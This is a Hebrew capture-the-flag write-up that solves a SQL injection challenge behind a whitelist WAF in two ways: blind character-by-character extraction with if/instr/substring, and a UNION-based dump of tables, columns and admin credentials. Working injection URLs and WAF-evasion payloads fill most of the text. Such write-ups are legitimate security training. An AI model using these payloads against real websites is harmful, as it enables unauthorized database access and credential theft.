OWASPIL 850 Points Alcatraz
אתגר זה עוסק ב-SQL Injection ו-WAF Bypass הפועל בשיטת White List.
פתרון האתגר:
טרם נעבור לביצוע ה-SQL Injection עלינו תחילה לאתר את המשתמש שהינו מנהל המערכת, את זה ניתן לבצע בקלות על ידי ריצה על כל ה-id במערכת באמצעות ה-Intruder כפי שהוצג בסרטון.
לאחר מכן עלינו למצוא שיטה שבה נצליח להוציא את הסיסמא שלו והיא על ידי הזרקה לפרמטר id כך:
`
http://challenges.owaspil.ctf.today:8081/profile.php?id=1'
אין תשובה ישירה מזו - פתרון האתגר יהיה בדמות SQL Injection:
תוך כדי עבודה על payload גילינו שיש באתגר טריק - WAF. כמו כל עבודה מול WAF, יש צורך ללמוד באיזה שיטה ה-WAF עובד (white/black list) ובהתאם ללמוד כיצד עובד ה-WAF. מהר מאוד גילינו כי ה-WAF עובד בשיטת ה-White List ובעיקר אוסר על רווחים, גרשיים, %29-%20 ושאר הסימנים המיוחדים.
אז מה מותר? סוגריים עגולים, פסיק, ספרות ואותיות אנגליות. ואם מותר אותיות אנגליות אז בוודאי שניתן להשתמש בפונקציות Native SQL כמו instr, strcmp, substr, char וכו'.
הסבר על הפונקציות בהן השתמשנו:
הפונקציה if:
הפונקציה if בודקת האם תנאי מחזיר תשובה חיובית או שלישית ומבצע את ההוראה בהתאם
`
if (condition, case true, case false)
הפונקציה instr:
הפונקציה instr מחזירה true אם str2 מוכל ב-str1.
`
instr(str1, str2)
הפונקציה substring:
הפונקציה גוזרת את המחרוזת str ממיקום from ולאורך ה-length ומחזירה את תת המחרוזת.
`
substring(str, from, length)
הפונקציה chr:
הפונקציה char מקבלת מספר ומחזירה את הייצוג ה-ascii של המספר לפי הערך הדצימלי.
`
chr(79)
כך בעצם יצרנו את ה-payload אשר מוציא את התו במקום ה-1 מתוך password ומשווה אותו לתו שהערך ההקסדצימלי שלו הינו 79, במידה והתווים שווים אנו מחזירים 13 לתוך id שמציג לנו את הדף של מנהל המערכת אחרת נחזיר 0 אשר יציג לנו משתמש לא קיים:
`
if(instr(substring(password,1,1),char(79)),13,0)
"נזרוק" אותו ל-intruder ונביט על התוצאות:
ניתן לראות שחזר לנו הערך 79 ו-111 סימן שהתו הראשון הינו – O מכיוון שהפקודה instr אינה case sensitive כך המשכנו עבור כל התווים של הסיסמא וקיבלנו את הדגל הבא:
`
OWASP-IL{I_am_the_WAF_bypass_master!}
להלן פתרון נוסף לאתגר של אבישי רובי
קריאה מהנה
האתגר מתחיל בכתובת הבאה כפי שרומן הציג:
`
http://challenges.owaspil.ctf.today:8081/profile.php?id=1
במבט ראשוני על ה-URL אפשר לראות שהאתגר הוא כנראה יהיה קשור ל- SQLiגם מהתבנית של הכתובת וגם מתיאור האתגר.
החשש מתאמת כשאנחנו שמים גרש אחרי הפרמטר ID ומקבלים שגיאת SQL
`
http://challenges.owaspil.ctf.today:8081/profile.php?id=1'
מהשגיאה ניתן לראות שמודבר במסד הנתונים MariaDB. הדבר הראשון שצריך לעשות הוא למצוא את מספר העמודות בעזרת order by או group by
`
http://challenges.owaspil.ctf.today:8081/profile.php?id=1 group by 99
ניסיון זה כשל מכיוון שבאתגר הגדירו WAF, שחוסם רווחים, תווים מסויימים וסימנים מיוחדים. מכיוון שהרווח והתווים המיוחדים חסומים ואנחנו לא יכולים לעקוף את החסימה בצורה ישירה, אנחנו לא יכולים להוציא לפועל את השיטות הרגילות לספירת העמודות כמו group by / order by / procedure analyzeוכו'.
לכן אנחנו נעבור לשיטת אינומרציה מבוססת Union למספר העמודות, ובמקרה שלנו הוא עומד על 8.
אנחנו נעקוף את חסימת הרווחים ע"י שימוש בסוגריים בצורה הבאה:
`
http://challenges.owaspil.ctf.today:8081/profile.php?id=(null)union(select(1),2,3,4,5,6,7,8)
נשתמש בעמודה מספר 7 אשר משתקפת בעמוד.
כדי להוציא את שמות הטבלאות אנו נריץ את השאילתא הבאה:
`
select table_name from information_schema.tables
בתוך מסד הנתונים information_schema קיימת טבלה בשםtablesשהיא מכילה את כל השמות של הטבלאות.
הבעיה היא שהיא מכיל גם את הטבלאות של המסד information_schema וכרגע אנחנו לא מעוניינים בטבלאות אלו.
לרוב כדי להוציא את הטבלאות הרלוונטיות נשתמש בתנאי הבא-
`
where table_schema=database()
אבל לפני שאנחנו נשתמש בזה, קודם נשלול שיש יותר ממסד נתונים אחד (לא כולל information_schema)
`
http://challenges.owaspil.ctf.today:8081/profile.php?id=(null)union(select(1),2,3,4,5,6,count(schema_name),(8)from(information_schema.schemata))
אם נסתכל על התוצאה נראה שיש 2 מסדי נתונים, אפשר להשתמש בתנאי.
אנחנו נשתמש ב-group_concat כדי להוציא את כל השמות של הטבלאות ביחד.
`
http://challenges.owaspil.ctf.today:8081/profile.php?id=(null)union(select(1),2,3,4,5,6,group_concat(table_name),(8)from(information_schema.tables)where(table_schema)like(database()))
ונראה שיש רק טבלה אחת במסד הנתונים שהיא "Employees"
נעבור להוצאת העמודות שלה בעזרת information_schema, שימו לב שאת שם הטבלה נכתוב בערך ההקס דצימלי כדי לעקוף את magic_quotes.
`
http://challenges.owaspil.ctf.today:8081/profile.php?id=(null)union(select(1),2,3,4,5,6,group_concat(column_name),(8)from(information_schema.columns)where(table_name)like(0x456d706c6f79656573))
ועכשיו נוציא את העמודות username ו-password רק כאשר ה-job_title הוא admin.
אני השתמשתי לשם כך ב-group_concat מכיוון שיכול להיות שיש לנו יותר ממשתמש admin אחד במערכת
`
http://challenges.owaspil.ctf.today:8081/profile.php?id=(null)union(select(1),2,3,4,5,6,group_concat(username,0x3a,password),(8)from(employees)where(job_title)like(0x2561646d696e25))
וכך קיבלתי את הדגל:
`
OWASP-IL{I_Am_The_WAF_Bypass_Master!}